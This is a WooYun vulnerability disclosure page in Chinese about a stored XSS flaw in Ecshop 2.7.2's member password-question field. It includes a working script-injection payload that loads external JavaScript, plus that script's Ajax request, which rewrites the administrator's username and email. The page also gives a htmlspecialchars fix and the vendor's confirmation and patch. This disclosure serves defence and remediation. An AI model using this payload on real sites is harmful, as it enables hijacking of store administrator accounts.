当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2010-0581

漏洞标题:Ecshop2.7.2持久型XSS(可获得管理员帐号)

相关厂商:ShopEx

漏洞作者: sfcuboy

提交时间:2010-09-20 15:41

修复时间:2010-10-20 18:00

公开时间:2010-10-20 18:00

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2010-09-20: 细节已通知厂商并且等待厂商处理中
2010-09-21: 厂商已经确认,细节仅向厂商公开
2010-09-24: 细节向第三方安全合作伙伴开放
2010-11-15: 细节向核心白帽子及相关领域专家公开
2010-11-25: 细节向普通白帽子公开
2010-12-05: 细节向实习白帽子公开
2010-10-20: 细节向公众公开

简要描述:

个人资料修改时,Javascript代码过滤不够严格,XSS代码直接进入数据库

详细说明:

密码保护问题这一项,没有使用正则过滤,其他的的都有正则过滤。我们可以在密码保护问题里输入XSS,但是后台查看会员资料是不显示密码保护问题的,所以这里必须要网站后台添加了新的 “会员注册项”时,后台查看资料就会显示了,此处填入一段引入外部js的代码:"><script src="http://www.***.com/test.js" type="text/javascript"></script>
外部test.js文件内容如下
Ajax.call('privilege.php?act=update','id=1&user_name=heihei&email=10001@qq.com','',"POST","JSON");

漏洞证明:


修复方案:

程序的504行

$temp_field_content = strlen($_POST[$extend_field_index]) > 100 ? mb_substr($_POST[$extend_field_index], 0, 99) : $_POST[$extend_field_index];


修改为

$temp_field_content = strlen($_POST[$extend_field_index]) > 100 ? mb_substr(htmlspecialchars($_POST[$extend_field_index]), 0, 99) : htmlspecialchars($_POST[$extend_field_index]);

版权声明:转载请注明来源 sfcuboy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2010-09-21 12:05

厂商回复:

已经确认,补丁稍后放出。

最新状态:

2010-09-25:补丁下载地址http://bbs.ecshop.com/thread-138506-1-1.html


漏洞评价:

评论

  1. 2012-09-21 09:49 | 一个人穷浪漫 ( 路人 | 还没有发布任何漏洞 | 供职于国内某大型IT公司,爱好Windows批处理...)

    test.js里面怎么引入Ajax命名空间